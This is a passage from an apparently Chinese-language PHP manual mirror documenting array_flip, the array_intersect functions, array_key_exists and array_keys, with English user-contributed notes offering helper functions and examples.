               return ($input==$filter xor $keepMatches==false) ? $input : false;
       while (list ($key,$value) = @each($input)){
               $res = array_filter_multi($value, $filter,$keepMatches);
               if ($res !== false)
                       $out[$key] = $res;
       }
       return $out;
}
?>

Default behavior is to remove blanks from a multi-dimensional array, but you can filter out any string (arg #2) with a positive or negative filter (arg #3).
add a note add a note

后退 | 起点 | 前进
array_fill | 上一级 | array_flip


array_flip

(PHP 4, PHP 5)

array_flip -- 交换数组中的键和值

说明

array array_flip ( array trans )

array_flip() 返回一个反转后的 array，例如 trans 中的键名变成了值，而 trans 中的值成了键名。

注意 trans 中的值需要能够作为合法的键名，例如需要是 integer 或者 string。如果值的类型不对将发出一个警告，并且有问题的键／值对将不会反转。

如果同一个值出现了多次，则最后一个键名将作为它的值，所有其它的都丢失了。

array_flip() 如果失败返回 FALSE。

例子 1. array_flip() 例子

<?php
$trans = array_flip($trans);
$original = strtr($str, $trans);
?>

例子 2. array_flip() 例子：冲突

<?php
$trans = array("a" => 1, "b" => 1, "c" => 2);
$trans = array_flip($trans);
print_r($trans);
?>

现在 $trans 变成了：

Array
(
    [1] => b
    [2] => c
)

参见 array_values()，array_keys() 和 array_reverse()。

add a note add a note User Contributed Notes
mikeb at tracersinfo dot com
07-Feb-2006 06:42
Further deriving on benles -> crescentfreshpot, I think the following restatement of array_invert() reads much easier and probably runs faster, too.  It does yield the same results:

function array_invert($arr) {
  $flipped = array();
  foreach ( $arr as $k => $a ) {
   # put the value in the key, with a throw-away value.  dups are inherently avoided,
   # though overwritten.  not sure if prefixing with if ( !isset($flipped[$a][$k]) )
   # would speed this up or slow it down.  probably depends on quantity of dups.
   $flipped[$a][$k] = NULL;
  }
  foreach ( $flipped as $k => $fl ) {
   # now make the keys the values.
   $flipped[$k] = array_keys($fl);
  }
  return $flipped;
}
crescentfreshpot at yahoo dot com
04-Jul-2005 07:21
Furthering benles note, if you don't want duplicate values to overwrite existing keys but need non-duplicate values to be assigned like array_flip, use:

<?php
function array_invert($arr)
{
   $flipped = array();
   foreach(array_keys($arr) as $key) {
     if(array_key_exists($arr[$key],$flipped)) {
         $flipped[$arr[$key]] = array_merge((array)$flipped[$arr[$key]], (array)$key);
     } else {
         $flipped[$arr[$key]] = $key;
     }
   }
   return $flipped;
}

$a = array(
   'orange' => 'fruit',
   'milk'  => 'dairy',
   'apple'  => 'fruit',
   'banana' => 'fruit'
);

print_r(array_invert($a));

/*
Output:
Array
(
   [fruit] => Array
       (
           [0] => orange
           [1] => apple
           [2] => banana
       )

   [dairy] => milk
)
*/
?>
benles at bldigital dot com
06-Mar-2005 09:52
In case anyone wants a function that doesn't lose duplicates:

function array_invert($arr)
{
   $res = Array();
   foreach(array_keys($arr) as $key)
  {
     if (!array_key_exists($arr[$key], $res)) $res[$arr[$key]] = Array();
   array_push($res[$arr[$key]], $key);
  }
  return $res;
}
snaury at narod dot ru
24-Nov-2004 03:21
When you do array_flip, it takes the last key accurence for each value, but be aware that keys order in flipped array will be in the order, values were first seen in original array. For example, array:

   [1] => 1
   [2] => 2
   [3] => 3
   [4] => 3
   [5] => 2
   [6] => 1
   [7] => 1
   [8] => 3
   [9] => 3

After flipping will become:
(first seen value -> first key)

   [1] => 7
   [2] => 5
   [3] => 9

And not anything like this:
(last seen value -> last key)

   [2] => 5
   [1] => 7
   [3] => 9

In my application I needed to find five most recently commented entries. I had a sorted comment-id => entry-id array, and what popped in my mind is just do array_flip($array), and I thought I now would have last five entries in the array as most recently commented entry => comment pairs. In fact it wasn't (see above, as it is the order of values used). To achieve what I need I came up with the following (in case someone will need to do something like that):

First, we need a way to flip an array, taking the first encountered key for each of values in array. You can do it with:

  $array = array_flip(array_unique($array));

Well, and to achieve that "last comments" effect, just do:

  $array = array_reverse($array, true);
  $array = array_flip(array_unique($array));
  $array = array_reverse($array, true);

In the example from the very beginning array will become:

   [2] => 5
   [1] => 7
   [3] => 9

Just what I (and maybe you?) need. =^_^=
znailz at yahoo dot com
06-Aug-2003 05:42
I know a lot of people want a function to remove a key by value from an array. I saw solutions that iterate(!) though the whole array comparing value by value and then unsetting that value's key. PHP has a built-in function for pretty much everything (heard it will even cook you breakfast), so if you think "wouldn't it be cool if PHP had a function to do that...", odds are it already has. Check out this example. It takes a value, gets all keys for that value if it has duplicates, unsets them all, and returns a reindexed array.

<?php
$arr = array(11,12,13,12);        // sample array
$arr = array_flip($arr);
unset($arr[12]);
$arr = array(array_keys($arr));
?>

$arr contains:

<?php
Array
(
   [0] => Array
       (
           [0] => 11
           [1] => 13
       )
?>

)
rgonzalez at kidchile dot cl
07-Mar-2003 03:58
If you need traspose an array (i.e convert columns in rows) for a multidimensional array obtain from a SQL query, try this:

That is an array from arrays that represent each columns.

Array
(
   [col1] => Array
       (
           [0] => 10
           [1] => 100
           [2] => 200
           [3] => a
       )

   [col2] => Array
       (
           [0] => 1
           [1] => 3
           [2] => 2
           [3] => 5
       )
)

<?php
$arreglo_aux = Array();
foreach( $arreglo as $keymaster => $value )
   foreach( $value as $key => $elemento  )
       $arreglo_aux[$key][$keymaster] = $elemento;
?>

the results will be

Array
(
   [0] => Array
       (
           [col1] => 10
           [col2] => 1
       )

   [1] => Array
       (
           [col1] => 100
           [col2] => 3
       )

   [2] => Array
       (
           [col1] => 200
           [col2] => 2
       )

   [3] => Array
       (
           [col1] => a
           [col2] => 5
       )
)

Bye.
Rodrigo Gonzlez M. - CHILE
add a note add a note

后退 | 起点 | 前进
array_filter | 上一级 | array_intersect_assoc


array_intersect_assoc

(PHP 4 >= 4.3.0, PHP 5)

array_intersect_assoc -- 带索引检查计算数组的交集

说明

array array_intersect_assoc ( array array1, array array2 [, array ...] )

array_intersect_assoc() 返回一个数组，该数组包含了所有在 array1 中也同时出现在所有其它参数数组中的值。注意和 array_intersect() 不同的是键名也用于比较。

例子 1. array_intersect_assoc() 例子

<?php
$array1 = array("a" => "green", "b" => "brown", "c" => "blue", "red");
$array2 = array("a" => "green", "yellow", "red");
$result_array = array_intersect_assoc($array1, $array2);
?>

$result_array 将是：

Array
(
    [a] => green
)

上面例子中可以看到只有键值对 "a" => "green" 在两个数组中都存在从而被返回。值 "red" 没有被返回是因为在 $array1 中它的键名是 0 而在 $array2 中 "red" 的键名是 1。

键值对 key => value 中的两个值仅在 (string) $elem1 === (string) $elem2 时被认为相等。也就是说使用了严格检查，字符串的表达必须相同。

参见 array_intersect()，array_uintersect_assoc()，array_intersect_uassoc()，array_uintersect_uassoc()，array_diff() 和 array_diff_assoc()。

add a note add a note User Contributed Notes
asharm4 at ilstu dot edu
21-Apr-2006 12:20
A function to find intersection of two arrays when comparison is based on only 1 key

function array_common($array1,$array2,$compareString) {
   if (!is_array($array1) || !is_array($array2)) {
       return false;
   }
   $arrResult = array();
   foreach ($array1 as $arrInsideArray1) {
       foreach ($array2 as $arrInsideArray2) {
           $found=false;
           if ($arrInsideArray1[$compareString]==$arrInsideArray2[$compareString]) {
               $found=true;
               break;
           }
       }
       if ($found) {
           array_push($arrResult,$arrInsideArray1);
       }

   }
   return $arrResult;
}
StR: str at strgt dot cjb dot net
14-Oct-2005 08:34
To find the keys that are in 2 arrays, without caring of the values:

This is a function i needed, and it also returns the values of the first array

<?php
function array_key_intersect(&$a, &$b) {
  $array = array();
  while (list($key,$value) = each($a)) {
   if (isset($b[$key]))
     $array[$key] = $value;
  }
  return $array;
}
?>
vandor at progressive dot hu
15-Dec-2004 03:26
# ket tomb kulcs alapu metszetet szamitja ki, az erteken is ellenorzest vegez
#
# calculating (key base) intersection of arrays (value are checked)
# use: $result_array = array_intersect_assoc($a1, $a2, $a3,..);
#
##
# original code by [jochem at iamjochem dawt com] : array_diff_keys()

<?php
function array_intersect_assoc() {

   $args = func_get_args();
   $res = $args[0];

   for ($i=1;$i<count($args);$i++) {
       if (!is_array($args[$i])) {continue;}

       foreach ($res as $key => $data) {
           if ( (!array_key_exists($key, $args[$i])) || ( (isset($args[$i][$key])) && ($args[$i][$key] !== $res[$key]) ) ) {
               unset($res[$key]);
           }
       }
   }

   return $res;
}

?>

<?php
$array1 = array("a"=>"green", "b"=>"brown", "c"=>"blue", "red");
$array2 = array("a"=>"green", "b"=>"yellow", "c"=>"yellow", "red");
$a = array('a'=>'green', 'b'=>'brown', 'c'=>'yellow');
$b = array('a'=>'green', 'b'=>'brown', 'c'=>'yellow', 'e'=>'yellow');

$result_array = array_intersect_assoc($a, $b, $array1, $array2);
?>

$args array will look like:

(
   0 =>
       (
           a => green
           b => brown
           c => yellow
       )

   1 =>
       (
           a => green
           b => brown
           c => yellow
           e => yellow
       )

   2 =>
       (
           a => green
           b => brown
           c => blue
           0 => red
       )

   3 =>
       (
           a => green
           b => yellow
           c => yellow
           0 => red
       )

)

$result_array will look like:

(
   a => green
)
nleippe at integr8ted dot com
12-Feb-2004 08:46
A combination of the two functions [array_intersect() and array_intersect_assoc()] in order to obtain the intersection of two multidimensional arrays.

<?php
function array_intersect_assoc_recursive(&$arr1, &$arr2) {
   if (!is_array($arr1) || !is_array($arr2)) {
       return $arr1 == $arr2; // or === for strict type
   }
   $commonkeys = array_intersect(array_keys($arr1), array_keys($arr2));
   $ret = array();
   foreach ($commonkeys as $key) {
       $ret[$key] =& array_intersect_assoc_recursive($arr1[$key], $arr2[$key]);
   }
   return $ret;
}
?>
add a note add a note

后退 | 起点 | 前进
array_flip | 上一级 | array_intersect_key


array_intersect_key

(PHP 5 >= 5.1.0RC1)

array_intersect_key -- 使用键名比较计算数组的交集

说明

array array_intersect_key ( array array1, array array2 [, array ...] )

array_intersect_key() 返回一个数组，该数组包含了所有出现在 array1 中并同时出现在所有其它参数数组中的键名的值。

例子 1. array_intersect_key() 例子

<?php
$array1 = array('blue'  => 1, 'red'  => 2, 'green'  => 3, 'purple' => 4);
$array2 = array('green' => 5, 'blue' => 6, 'yellow' => 7, 'cyan'   => 8);

var_dump(array_intersect_key($array1, $array2));
?>

上例将输出：

array(2) {
  ["blue"]=>
  int(1)
  ["green"]=>
  int(3)
})

上例中可以看到只有 'blue' 和 'green' 两个键名出现在两个数组中，因此被返回。此外注意 'blue' 和 'green' 的值在两个数组中是不同的。但因为只检查键名，因此还是匹配。返回的值只是 array1 中的。

在 key => value 对中的两个键名仅在 (string) $key1 === (string) $key2 时被认为相等。换句话说，执行的是严格类型检查，因此字符串的表达必须完全一样。

参见 array_diff()，array_udiff()，array_diff_assoc()，array_diff_uassoc()，array_udiff_assoc()，array_udiff_uassoc()，array_diff_key()，array_diff_ukey()，array_intersect()，array_intersect_assoc()，array_intersect_uassoc() 和 array_intersect_ukey()。

add a note add a note User Contributed Notes
Anton Backer
31-Mar-2006 03:49
Jesse: no, array_intersect_key does not accomplish the same thing as what you posted:

array_flip (array_intersect (array_flip ($a), array_flip ($b)))

because when the array is flipped, values become keys. having duplicate values is not a problem, but having duplicate keys is. array_flip resolves it by keeping only one of the duplicates and discarding the rest. by the time you start intersecting, you've already lost information.
dak
24-Jan-2006 12:31
A more efficient (and, I think, simpler) compatibility implementation:

<?php
if (!function_exists('array_intersect_key'))
{
   function array_intersect_key ($isec, $arr2)
   {
       $argc = func_num_args();

       for ($i = 1; !empty($isec) && $i < $argc; $i++)
       {
             $arr = func_get_arg($i);

             foreach ($isec as $k =>& $v)
                 if (!isset($arr[$k]))
                     unset($isec[$k]);
       }

       return $isec;
   }
}
?>
Silvio Ginter
23-Sep-2005 08:17
Based on the code posted by gaylord dot aulke at 100days.de
i wrote this one. This should implement this function in all versions equal or greater than PHP 4.0

function array_intersect_key($arr1, $arr2) {
   $res = array();
   foreach($arr1 as $key=>$value) {
       $push = true;
       for ($i = 1; $i < func_num_args(); $i++) {
           $actArray = func_get_arg($i);
           if (gettype($actArray) != 'array') return false;
           if (!array_key_exists($key, $actArray)) $push = false;
       }
       if ($push) $res[$key] = $arr1[$key];
   }
   return $res;
}
gaylord dot aulke at 100days.de
04-Jul-2005 07:04
I tried to use this function with PHP 5.0.4 under windows but the function does not seem to be implemented.
(Fatal error: Call to undefined function array_intersect_key())

This works as a workaround for 2 arrays at least:

function array_intersect_key($arr1, $arr2) {
  $res = array();
  foreach($arr1 as $key=>$value) {
   if(array_key_exists($key, $arr2)) $res[$key] = $arr1[$key];
  }
  return $res;
}
aidan at php dot net
29-May-2005 11:51
This functionality is now implemented in the PEAR package PHP_Compat.

More information about using this function without upgrading your version of PHP can be found on the below link:

http://pear.php.net/package/PHP_Compat
add a note add a note

后退 | 起点 | 前进
array_intersect_assoc | 上一级 | array_intersect_uassoc


array_intersect_uassoc

(PHP 5)

array_intersect_uassoc -- 带索引检查计算数组的交集，用回调函数比较索引

说明

array array_intersect_uassoc ( array array1, array array2 [, array ..., callback key_compare_func] )

array_intersect_uassoc() 返回一个数组，该数组包含了所有在 array1 中也同时出现在所有其它参数数组中的值。注意和 array_intersect() 不同的是键名也用于比较。

此比较是通过用户提供的回调函数来进行的。如果认为第一个参数小于，等于，或大于第二个参数时必须分别返回一个小于零，等于零，或大于零的整数。

例子 1. array_intersect_uassoc() 例子

<?php
$array1 = array("a" => "green", "b" => "brown", "c" => "blue", "red");
$array2 = array("a" => "GREEN", "B" => "brown", "yellow", "red");

print_r(array_intersect_uassoc($array1, $array2, "strcasecmp"));
?>

上例将输出：

Array
(
    [b] => brown
)

参见 array_intersect()，array_intersect_assoc()，array_uintersect_assoc()，array_uintersect_uassoc()，array_intersect_key() 和 array_intersect_ukey()。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
array_intersect_key | 上一级 | array_intersect_ukey


array_intersect_ukey

(PHP 5 >= 5.1.0RC1)

array_intersect_ukey -- 用回调函数比较键名来计算数组的交集

说明

array array_intersect_ukey ( array array1, array array2 [, array ..., callback key_compare_func] )

array_intersect_ukey() 返回一个数组，该数组包含了所有出现在 array1 中并同时出现在所有其它参数数组中的键名的值。

此比较是通过用户提供的回调函数来进行的。如果认为第一个参数小于，等于，或大于第二个参数时必须分别返回一个小于零，等于零，或大于零的整数。

例子 1. array_intersect_ukey() 例子

<?php
function key_compare_func($key1, $key2)
{
    if ($key1 == $key2)
        return 0;
    else if ($key1 > $key2)
        return 1;
    else
        return -1;
}

$array1 = array('blue'  => 1, 'red'  => 2, 'green'  => 3, 'purple' => 4);
$array2 = array('green' => 5, 'blue' => 6, 'yellow' => 7, 'cyan'   => 8);

var_dump(array_intersect_ukey($array1, $array2, 'key_compare_func'));
?>

上例将输出：

array(2) {
  ["blue"]=>
  int(1)
  ["green"]=>
  int(3)
})

上例中可以看到只有 'blue' 和 'green' 两个键名出现在两个数组中，因此被返回。此外注意 'blue' 和 'green' 的值在两个数组中是不同的。但因为只检查键名，因此还是匹配。返回的值只是 array1 中的。

参见 array_diff()，array_udiff()，array_diff_assoc()，array_diff_uassoc()，array_udiff_assoc()，array_udiff_uassoc()，array_diff_key()，array_diff_ukey()，array_intersect()，array_intersect_assoc()，array_intersect_uassoc() 和 array_intersect_key()。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
array_intersect_uassoc | 上一级 | array_intersect


array_intersect

(PHP 4 >= 4.0.1, PHP 5)

array_intersect -- 计算数组的交集

说明

array array_intersect ( array array1, array array2 [, array ...] )

array_intersect() 返回一个数组，该数组包含了所有在 array1 中也同时出现在所有其它参数数组中的值。注意键名保留不变。

例子 1. array_intersect() 例子

<?php
$array1 = array("a" => "green", "red", "blue");
$array2 = array("b" => "green", "yellow", "red");
$result = array_intersect($array1, $array2);
?>

这使得 $result 成为：

Array
(
    [a] => green
    [0] => red
)

注: 两个单元仅在 (string) $elem1 === (string) $elem2 时被认为是相同的。也就是说，当字符串的表达是一样的时候。

参见 array_intersect_assoc()，array_diff() 和 array_diff_assoc()。

add a note add a note User Contributed Notes
nthitz at gmail dot com
09-Jun-2006 12:09
I did some trials and if you know the approximate size of the arrays then it would seem to be a lot faster to do this <?php array_intersect($smallerArray, $largerArray); ?> Where $smallerArray is the array with lesser items. I only tested this with long strings but I would imagine that it is somewhat universal.
terry(-at-)shuttleworths(-dot-)net
07-Feb-2006 11:42
I couldn't get array_intersect to work with two arrays of identical objects, so I just did this:

foreach ($firstarray as $key=>$value){
   if (!in_array($value,$secondarray)){
       unset($firstarray[$key]);
   }
}

This leaves $firstarray as the intersection.

Seems to work fine & reasonably quickly.
tom p
05-Nov-2005 10:54
If you store a string of keys in a database field and want to match them to a static array of values, this is a quick way to do it without loops:

<?

$vals = array("Blue","Green","Pink","Yellow");
$db_field = "0,2,3";

echo implode(", ", array_flip(array_intersect(array_flip($vals), explode(",", $db_field))));

// will output "Blue, Pink, Yellow"

?>
sapenov at gmail dot com
11-Jun-2005 04:11
If you need to supply arbitrary number of arguments
to array_intersect() or other array function,
use following function:

$full=call_user_func_array('array_intersect', $any_number_of_arrays_here);
SETS INTERSECTION
19-May-2005 02:19
$a = array(1,2,3,4,5,2,6,1);  /* repeated elements --> $a is not a set */
$b = array(0,2,4,6,8,5,7,9,2,1);  /* repeated elements --> $b is not a set */

$ua = array_merge(array_unique($a));  /* now, $a is a set */
$ub = array_merge(array_unique($b));  /* now, $b is a set */

$intersect = array_merge(array_intersect($ua,$ub));

Note: 'array_merge' removes blank spaces in the arrays.
Note: order doesn't matter.

In one line:

$intersect_a_b = array_merge(array_intersect(array_merge(array_unique($a)), array_merge(array_unique($b))));

Additions/corrections wellcome...

gRiNgO
drew at iws dot co dot nz
22-Apr-2005 11:04
Just a handy tip.

If you want to produce an array from two seperate arrays on their intersects, here you go:

<?

$a = array("branches","E_SHOP");
$b = array("E_SHOP","Webdirector_1_0");

print join("/",array_merge(array_diff($a, $b), array_intersect($a, $b), array_diff($b, $a)));

?>

Gives you:

/branches/E_SHOP/Webdirectory_1_0
blu at dotgeek dot org
15-Oct-2004 08:34
Note that array_intersect and array_unique doesnt work well with multidimensional arrays.
If you have, for example,

<?php

$orders_today[0] = array('John Doe', 'PHP Book');
$orders_today[1] = array('Jack Smith', 'Coke');

$orders_yesterday[0] = array('Miranda Jones', 'Digital Watch');
$orders_yesterday[1] = array('John Doe', 'PHP Book');
$orders_yesterday[2] = array('Z da Silva', 'BMW Car');

?>

and wants to know if the same person bought the same thing today and yesterday and use array_intersect($orders_today, $orders_yesterday) you'll get as result:

<?php

Array
(
   [0] => Array
       (
           [0] => John Doe
           [1] => PHP Book
       )

   [1] => Array
       (
           [0] => Jack Smith
           [1] => Coke
       )

)

?>

but we can get around that by serializing the inner arrays:
<?php

$orders_today[0] = serialize(array('John Doe', 'PHP Book'));
$orders_today[1] = serialize(array('Jack Smith', 'Coke'));

$orders_yesterday[0] = serialize(array('Miranda Jones', 'Digital Watch'));
$orders_yesterday[1] = serialize(array('John Doe', 'PHP Book'));
$orders_yesterday[2] = serialize(array('Z da Silva', 'Uncle Tungsten'));

?>

so that array_map("unserialize", array_intersect($orders_today, $orders_yesterday)) will return:

<?php

Array
(
   [0] => Array
       (
           [0] => John Doe
           [1] => PHP Book
       )

)

?>

showing us who bought the same thing today and yesterday =)

[]s
tompittlik at disfinite dot net
24-Jun-2004 09:27
Just a small mod to ben's code to make it work properly:

<?php

if(sort(array_unique($b + $a)) === sort($b))
 // $a is legit
}

?>

This is useful for checking for illegal characters in a username.
t dot wiltzius at insightbb dot com
24-Jun-2004 12:33
I needed to compare an array with associative keys to an array that contained some of the keys to the associative array. Basically, I just wanted to return only a few of the entries in the original array, and the keys to the entries I wanted were stored in another array. This is pretty straightforward (although complicated to explain), but I couldn't find a good function for comparing values to keys. So I wrote this relatively straightforward one:

<?php

function key_values_intersect($values,$keys) {
   foreach($keys AS $key) {
     $key_val_int[$key] = $values[$key];
     }
   return $key_val_int;
   }

$big = array("first"=>2,"second"=>7,"third"=>3,"fourth"=>5);
$subset = array("first","third");

print_r(key_values_intersect($big,$subset));

?>

This will return:

Array ( [first] => 2 [third] => 3 )
anbolb at boltblue dot com
10-Jan-2004 05:11
This is also handy for testing an array for one of a series of acceptable elements. As a simple example, if you're expecting the query string to contain one of, say, user_id, order_id or item_id, to find out which one it is you could do this:

<?php
   $valid_ids = array ('user_id', 'item_id', 'order_id');
   if ($id = current (array_intersect ($valid_ids, array_keys ($_GET))))
   {
       // do some stuff with it
   }
   else
       // error - invalid id passed, or none at all
?>

...which could be useful for constructing an SQL query, or some other situation where testing for them one by one might be too clumsy.
ben at kazez dot com
10-Dec-2003 02:49
To check whether an array $a is a subset of array $b, do the following:

<?php
if(array_unique($b + $a) === $b)
//...
?>

Actually, PHP ought to have a function that does this for you. But the above example works.
Alessandro Ranellucci alex at primafila dot net
16-Jul-2003 09:35
array_intersect($array1, $array2);
returns the same as:
array_diff($array1, array_diff($array1, $array2));
"inerte" is my hotmail.com username
27-Jun-2003 06:50
If you have a slow database query that uses JOIN, try to array_intersect() the table records.

I hung up my server countless times before using this function. Simple select from one table and put the records in an array ($records_1), then select records from any other table and put them in another array($records_2).

array_intersect() will emulate a JOIN for you.

<?php
$emulated_join = array_intersect($records_1, $records_2);
?>

Remember to test if it really offers a speed improvement, your mileage may vary (database type, hardware, version, etc...)

You could also emulate a JOIN from two text files, reading each line with the file() function.
david at audiogalaxy dot com
10-Apr-2001 07:54
Note that array_intersect() considers the type of the array elements when it compares them.

If array_intersect() doesn't appear to be working, check your inputs using var_dump() to make sure you're not trying to intersect an array of integers with an array of strings.
add a note add a note

后退 | 起点 | 前进
array_intersect_ukey | 上一级 | array_key_exists


array_key_exists

(PHP 4 >= 4.1.0, PHP 5)

array_key_exists -- 检查给定的键名或索引是否存在于数组中

说明

bool array_key_exists ( mixed key, array search )

array_key_exists() 在给定的 key 存在于数组中时返回 TRUE。key 可以是任何能作为数组索引的值。array_key_exists() 也可用于对象。

例子 1. array_key_exists() 例子

<?php
$search_array = array('first' => 1, 'second' => 4);
if (array_key_exists('first', $search_array)) {
    echo "The 'first' element is in the array";
}
?>

注: 在 PHP 4.0.6 中本函数名为 key_exists()。

例子 2. array_key_exists() 与 isset() 对比

isset() 对于数组中为 NULL 的值不会返回 TRUE，而 array_key_exists() 会。

<?php
$search_array = array('first' => null, 'second' => 4);

// returns false
isset($search_array['first']);

// returns true
array_key_exists('first', $search_array);
?>

参见 isset()，array_keys() 和 in_array()。

add a note add a note User Contributed Notes
josh at nitrotech dot org
29-May-2006 09:24
Here is a simple method for searching nested arrays.

<?php

function in_array_multi_key($needle, $haystack)
{
   // mutidimentional search for in_array function
   // only matches the key, values don't count.
   if ( array_key_exists($needle, $haystack) )
   {
       return TRUE;
   }

   foreach ( $haystack as $key => $value )
   {
       if ( is_array($value) )
       {
           $work = in_array_multi_key($needle, $value);
           if ( $work )
           {
               return TRUE;
           }
       }
   }
   return FALSE;
}

?>

(Code from www.nitrotech.org)
09-May-2006 11:44
property_exists() does the same thing for object properties.
add a note add a note

后退 | 起点 | 前进
array_intersect | 上一级 | array_keys


array_keys

(PHP 4, PHP 5)

array_keys -- 返回数组中所有的键名

说明

array array_keys ( array input [, mixed search_value [, bool strict]] )

array_keys() 返回 input 数组中的数字或者字符串的键名。

如果指定了可选参数 search_value，则只返回该值的键名。否则 input 数组中的所有键名都会被返回。自 PHP 5 起，可以用 strict 参数来进行全等比较（===）。

例子 1. array_keys() 例子

<?php
$array = array(0 => 100, "color" => "red");
print_r(array_keys($array));

$array = array("blue", "red", "green", "blue", "blue");
print_r(array_keys($array, "blue"));

$array = array("color" => array("blue", "red", "green"),
               "size"  => array("small", "medium", "large"));
print_r(array_keys($array));
?>

上例将输出：

Array
(
    [0] => 0
    [1] => color
)
Array
(
    [0] => 0
    [1] => 3
    [2] => 4
)
Array
(
    [0] => color
    [1] => size
)

参见 array_values() 和 array_key_exists()。

add a note add a note User Contributed Notes
jochem
18-Feb-2006 08:13
might be worth noting in the docs that not all associative (string) keys are a like, output of the follow bit of code demonstrates - might be a handy introduction to automatic typecasting in php for some people (and save a few headaches):

$r = array("0"=>"0","1"=>"1","" =>"2"," "=>"3");
echo 'how php sees this array: array("0"=>"0","1"=>"1","" =>"2"," "=>"3")',"\n-----------\n";
var_dump($r); print_r($r); var_export($r);
echo "\n-----------\n",'var_dump("0","1",""," ") = ',"\n-----------\n";
var_dump("0","1",""," ");

OUTPUTS:

how php sees this array: array("0"=>"0","1"=>"1","" =>"2"," "=>"3")
-----------
array(4) {
  [0]=>
  string(1) "0"
  [1]=>
  string(1) "1"
  [""]=>
  string(1) "2"
  [" "]=>
  string(1) "3"
}
Array
(
   [0] => 0
   [1] => 1
   [] => 2
   [ ] => 3
)
array (
  0 => '0',
  1 => '1',
  '' => '2',
  ' ' => '3',
)
-----------
var_dump("0","1",""," ") =
-----------
string(1) "0"
string(1) "1"
string(0) ""
string(1) " "
Sven (bitcetera.com)
19-Dec-2005 10:43
Here's how to get the first key, the last key, the first value or the last value of a (hash) array without explicitly copying nor altering the original array:

<?php
  $array = array('first'=>'111', 'second'=>'222', 'third'=>'333');

  // get the first key: returns 'first'
  print array_shift(array_keys($array));

  // get the last key: returns 'third'
  print array_pop(array_keys($array));

  // get the first value: returns '111'
  print array_shift(array_values($array));

  // get the last value: returns '333'
  print array_pop(array_values($array));
?>
vesely at tana dot it
09-Dec-2005 05:56
The position of an element.

One can apply array_keys twice to get the position of an element from its key. (This is the reverse of the function by cristianDOTzuddas.) E.g., the following may output "yes, we have bananas at position 0".

<?php
$a = array("banana" => "yellow", "apple" = "red");
$k = get_some_fruit();
if (isset($a[$k]))
{
   list($pos) = array_keys(array_keys($a), $k);
   print "yes, we have {$k}s at position $pos\n";
}
?>

Not amazingly efficient, but I see no better alternative.
alapidus
24-Nov-2005 09:07
erwin at spammij dot nl, a far more efficient solution to your problem would be to use the array_map function:

<?php

$_POST = array_map('addslashes', $_POST);

?>
ru dot dy at gmx dot net
15-Aug-2005 12:20
I was looking for a function that simply unset a variable amout of values from a one-dimensional array by key. I ended up with this (returns the array itself if no further parameter than the array is given, false with no params - does not change the source array)

usage: array_remove(array $input [, mixed key ...])

<?php

  function array_remove() {
   if ($stack = func_get_args()) {
     $input = array_shift($stack);
     foreach ($stack as $key) {
       unset($input[$key]);
     }
     return $input;
   }
   return false;
  }

?>

Test:

<?php
  $a = array('a'=>'fun', 'b'=>3.14, 'sub'=> array('1', '2', '3'), 'd'=>'what', 'e' => 'xample', 5 => 'x');
  print_r($a);
  print_r(array_remove($a, 'd', 'b', 5, 'sub'));
?>

Output:

Array
(
   [a] => fun
   [b] => 3.14
   [sub] => Array
       (
           [0] => 1
           [1] => 2
           [2] => 3
       )

   [d] => what
   [e] => xample
   [5] => x
)
Array
(
   [a] => fun
   [e] => xample
)

Hope this helps someone.
alex [@T] d-sn [D@T] com / Alex Galisteo
07-Aug-2005 05:46
My version of PHP does not support the strict parameter. Moreover, I need a function that could make other comparsion different than equals and stricktly equals.

The funcition array_keys_advanced can make the following comparsions: equal, not equal, strictly greater than, equal or greater than, strictly less than, equal or less than.

<?php
if (!function_exists('array_keys_advanced')) {
   //{{{ array_keys_advanced
   /**
     * Returns an array with the matching keys as values. A comparsion type can
     * be spcified, even if it should be a strict comparsion or not.
     * Note: It is not recursive.
     *
     * @param    array    $input
     * @param    string  $search_value
     * @param    bool    $strict
     * @param    string  $comparison: {EQ | NEQ | GT | EGT | LT | ELT}
     * @return  Returns an array with the matching keys as values.
     * @author  alex [@T] d-sn [D@T] com // Alex Galisteo
     */
   function array_keys_advanced() {
       $nargs = func_num_args();
       $arr = array();
       $input = null;
       $search_value = null;
       $strict = (bool) false;
       $comparison  = "EQ";
       $comparsion_types = array("EQ", "NEQ", "GT", "EGT", "LT", "ELT");
       switch ($nargs) {
       case 1:
           $input = func_get_arg(0);
           return array_keys($input);
           break;
       case 2:
           $input = func_get_arg(0);
           $search_value = func_get_arg(1);
           return array_keys($input, $search_value);
           break;
       case 3:
           $input = func_get_arg(0);
           $search_value = func_get_arg(1);
           $strict = (bool) func_get_arg(2);
           $comparsion  = "EQ";
           break;
       case 4:
           $input = func_get_arg(0);
           $search_value = func_get_arg(1);
           $strict = (bool) func_get_arg(2);
           $comparsion = strtoupper((string) func_get_arg(3));
           $comparsion = (in_array($comparsion, $comparsion_types))?
                           $comparsion : "EQ";
           break;
       default:
           return $arr;
           break;
       }
       foreach ($input as $key => $val) {
           if ($strict) {
               if ($comparsion == "EQ" && $search_value === $val) {
                   $arr[] = $key;
               }
               elseif ($comparsion == "NEQ" && $search_value !== $val)
                   $arr[] = $key;
               elseif ($comparsion == "GT" && $search_value > $val)
                   $arr[] = $key;
               elseif ($comparsion == "EGT" && $search_value >= $val)
                   $arr[] = $key;
               elseif ($comparsion == "LT" && $search_value < $val)
                   $arr[] = $key;
               elseif ($comparsion == "ELT" && $search_value <= $val)
                   $arr[] = $key;
           } else {
               if ($comparsion == "EQ" && $search_value == $val)
                   $arr[] = $key;
               elseif ($comparsion == "NEQ" && $search_value != $val)
                   $arr[] = $key;
               elseif ($comparsion == "GT" && $search_value > $val)
                   $arr[] = $key;
               elseif ($comparsion == "EGT" && $search_value >= $val)
                   $arr[] = $key;
               elseif ($comparsion == "LT" && $search_value < $val)
                   $arr[] = $key;
               elseif ($comparsion == "ELT" && $search_value <= $val)
                   $arr[] = $key;
           }
       }
       return $arr;
   }
   //}}}
} //endif function_exists
?>
webmaster [at] baz-x [dot] at
30-Jul-2005 06:43
I was looking for a function that deletes either integer keys or string keys (needed for my caching).
As I didn't find a function I came up with my own solution.
I didn't find the propiest function to post to so I will post it here, hope you find it useful.

<?php

function array_extract($array, $extract_type = 1)
{
   foreach ( $array as $key => $value )
   {
       if ( $extract_type == 1 && is_string($key) )
       {
           // delete string keys
           unset($array[$key]);
       }
       elseif ( $extract_type == 2 && is_int($key) )
       {
           // delete integer keys
           unset($array[$key]);
       }
   }

   return $array;
}

?>

